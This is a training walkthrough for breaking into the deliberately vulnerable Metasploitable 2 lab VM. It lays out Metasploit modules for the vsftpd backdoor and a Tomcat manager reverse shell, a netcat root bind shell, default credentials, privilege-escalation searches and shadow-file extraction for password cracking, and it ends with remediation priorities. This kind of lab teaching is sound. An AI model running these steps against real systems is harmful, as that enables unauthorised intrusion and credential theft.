October 22, 2026

PWN3D: Metasploitable 2 — Comprehensive Walkthrough & Exploitation Guide

An end-to-end penetration testing guide covering recon, enumeration, multiple initial footholds, and privilege escalation on Metasploitable…

By Txtnathanael

4 min read

An end-to-end penetration testing guide covering recon, enumeration, multiple initial footholds, and privilege escalation on Metasploitable 2.

Executive Summary & Target Profile

Metasploitable 2 is an intentionally vulnerable Linux virtual machine designed as a training environment for penetration testing and security research. In this walkthrough, we approach the target from a black-box perspective — starting with zero credentials and only a subnet IP address.

  • Target OS: Metasploitable 2 (Linux)
  • Attack Platform: Kali Linux
  • Starting Knowledge: Subnet Range (192.168.56.0/24), zero credentials
  • Objective: Identify exposure vectors, exploit multiple footholds, gain persistent/root access, and document remediation priorities.

Disclaimer: All testing conducted in this walkthrough was performed on an isolated host-only lab network explicitly configured for educational and research purposes. Never run these tools against systems you do not own or have explicit, authorized written consent to test.

Phase 1: Reconnaissance & Target Discovery

Effective penetration testing relies on thorough enumeration. Before launching any exploit, we must map out every reachable service on the target host.

1. Host Discovery & Ping Sweep

First, let's verify local adapter configuration and confirm network reachability to the target host (192.168.56.105).

# Check attacker interface configuration
ifconfig
# Verify target reachability
ping -c 4 192.168.56.105

2. Comprehensive Port Scanning

Standard Nmap scans only scan the top 1,000 TCP ports. Vulnerable targets often hide critical administrative services on high-order ports. We run a full 65,535-port TCP sweep to ensure complete coverage:

# Initial fast scan
nmap 192.168.56.105
# Aggressive script and version scan on default ports
nmap -sC -sV -Pn -oN nmap_scan.txt 192.168.56.105
# Full TCP port sweep across all 65,535 ports
nmap -p- -sC -sV -Pn -oN full_scan.txt 192.168.56.105

Phase 2: Attack Surface Mapping

Our comprehensive scan revealed 20 open TCP services spanning remote management, database servers, web portals, and legacy file-sharing frameworks:

PortProtocol / ServiceVersion InfoAttack Vector / Notes

21

FTP

vsftpd 2.3.4

Backdoored release build

22

SSH

OpenSSH 4.7p1

Default/weak credential candidate

23

Telnet

Linux telnetd

Cleartext auth; default lab credentials

25

SMTP

Postfix

User enumeration via VRFY/EXPN

53

DNS

BIND 9.4.2

Zone transfer / banner grabbing

80

HTTP

Apache 2.2.8

DVWA, phpMyAdmin, Mutillidae web apps

111

RPC

rpcbind

Information disclosure

139 / 445

SMB

Samba 3.0.20

Anonymous shares & symlink traversal

512–514

r-services

rexec / rlogin / rsh

Legacy unencrypted remote control

1099

Java RMI

GNU Classpath

Remote object invocation exploitation

1524

Root Shell

Metasploitable Root Shell

Unauthenticated direct root bind shell

2049

NFS

NFS v2–4

Exposed file systems / shares

2121

FTP

ProFTPD 1.3.1

Secondary FTP instance

3306

MySQL

MySQL 5.0.51a

Unauthenticated root access

5432

PostgreSQL

PostgreSQL 8.3.x

Default credential access (postgres)

5900

VNC

VNC 3.3

Weak authentication / brute-force

6667

IRC

UnrealIRCd 3.2.8.1

Backdoored IRC daemon (RCE)

8009

AJP

Apache Jserv 1.3

Proxy protocol connector

8180

HTTP

Apache Tomcat 5.5

Web application manager deployment

Phase 3: Exploitation & Multiple Paths to Root

Metasploitable 2 contains several independent avenues to obtain system control. Here are four verified, direct paths from zero knowledge to complete root compromise.

Path A: Backdoored vsftpd 2.3.4 (Direct Root)

In 2011, a malicious actor compromised the official distribution archive for vsftpd 2.3.4 and inserted a backdoor trigger. Sending a smiley face :) in the username parameter triggers a listener on port 6200.

Step 1: Confirm Anonymous Access

ftp 192.168.56.105
# Username: anonymous
# Password: anonymous

Step 2: Exploit via Metasploit

msfconsole
msf6 > search vsftpd
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.56.105
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] Command shell session 1 opened
whoami
# Output: root

Result: Direct root shell obtained.

Path B: Unauthenticated Root Bind Shell (Port 1524)

Port 1524 hosts an active bind shell attached directly to /bin/sh running with full system root privileges—no exploitation or authentication necessary.

Step 1: Connect via Netcat

nc 192.168.56.105 1524

Step 2: Verify Access

whoami && id
# Output: uid=0(root) gid=0(root) groups=0(root)

Result: Instant root privilege execution.

Path C: Tomcat Manager Shell Upload (Port 8180)

Apache Tomcat runs on port 8180 with default administrative credentials configured in tomcat-users.xml.

Step 1: Verify Manager Portal Credentials

Navigate to http://192.168.56.105:8180/manager/html and log in with:

  • Username: tomcat
  • Password: tomcat

Step 2: Generate and Deploy WAR Reverse Shell

We can manually build a WAR payload using msfvenom or utilize Metasploit's automated upload module:

# Automated Metasploit Route
msfconsole
msf6 > use exploit/multi/http/tomcat_mgr_upload
msf6 exploit(multi/http/tomcat_mgr_upload) > set RHOSTS 192.168.56.105
msf6 exploit(multi/http/tomcat_mgr_upload) > set RPORT 8180
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
msf6 exploit(multi/http/tomcat_mgr_upload) > set LHOST <KALI_IP>
msf6 exploit(multi/http/tomcat_mgr_upload) > run
meterpreter > getuid
# Server identity confirmed

Path D: Telnet Weak Credentials & Post-Exploitation

Port 23 runs Telnet. Unlike SSH, Telnet transmits all authentication packets in cleartext across the wire.

Step 1: Establish Initial Session

telnet 192.168.56.105
# Username: msfadmin
# Password: msfadmin

Step 2: Validate Unprivileged Access

whoami && id
# Output: uid=1000(msfadmin) gid=1000(msfadmin)

Phase 4: Local Enumeration & Privilege Escalation

When landing on a host with an unprivileged service account (e.g., msfadmin or www-data), perform local discovery to identify misconfigurations.

1. Local Information Gathering

# Inspect environment and kernel release
uname -a
cat /etc/issue
# Check current privileges & SUID binaries
sudo -l
find / -perm -4000 -type f 2>/dev/null
# Check cron jobs and writable system files
cat /etc/crontab
find / -writable -type f 2>/dev/null

2. Credential Harvesting & Offline Auditing

If local access allows reading system credentials or password backup files, extract them for offline auditing:

# Locate password exposures in system configuration files
grep -Rni "password" /etc 2>/dev/null
# Consolidate passwd and shadow files for auditing
unshadow /etc/passwd /etc/shadow > hashes.txt

Phase 5: Remediation & Defensive Priorities

To secure a system like Metasploitable 2 in a production context, prioritize remediation based on risk impact:

PriorityRisk LevelTarget VulnerabilityMitigation Strategy

1

Critical

Backdoored vsftpd 2.3.4 & Port 1524 Bindshell

Immediately replace vsftpd with a modern, verified package. Firewall off or close port 1524.

2

High

Default Service Credentials (msfadmin, tomcat, postgres)

Enforce strong password policies across all accounts and restrict administrative interfaces (e.g., Tomcat Manager) to trusted management subnets.

3

High

Samba Symlink & Shared Directories

Update Samba to a supported version and disable guest/anonymous share access.

4

Medium

Cleartext Protocols (Telnet, FTP, r-services)

Disable legacy unencrypted protocols and enforce encrypted SSH, SFTP, and HTTPS management channels.

Conclusion

Metasploitable 2 demonstrates how individual misconfigurations, outdated software builds, and weak default credentials can lead to full system compromise. By understanding both offensive vectors and defensive mitigations, security professionals can better protect enterprise networks against real-world exposure.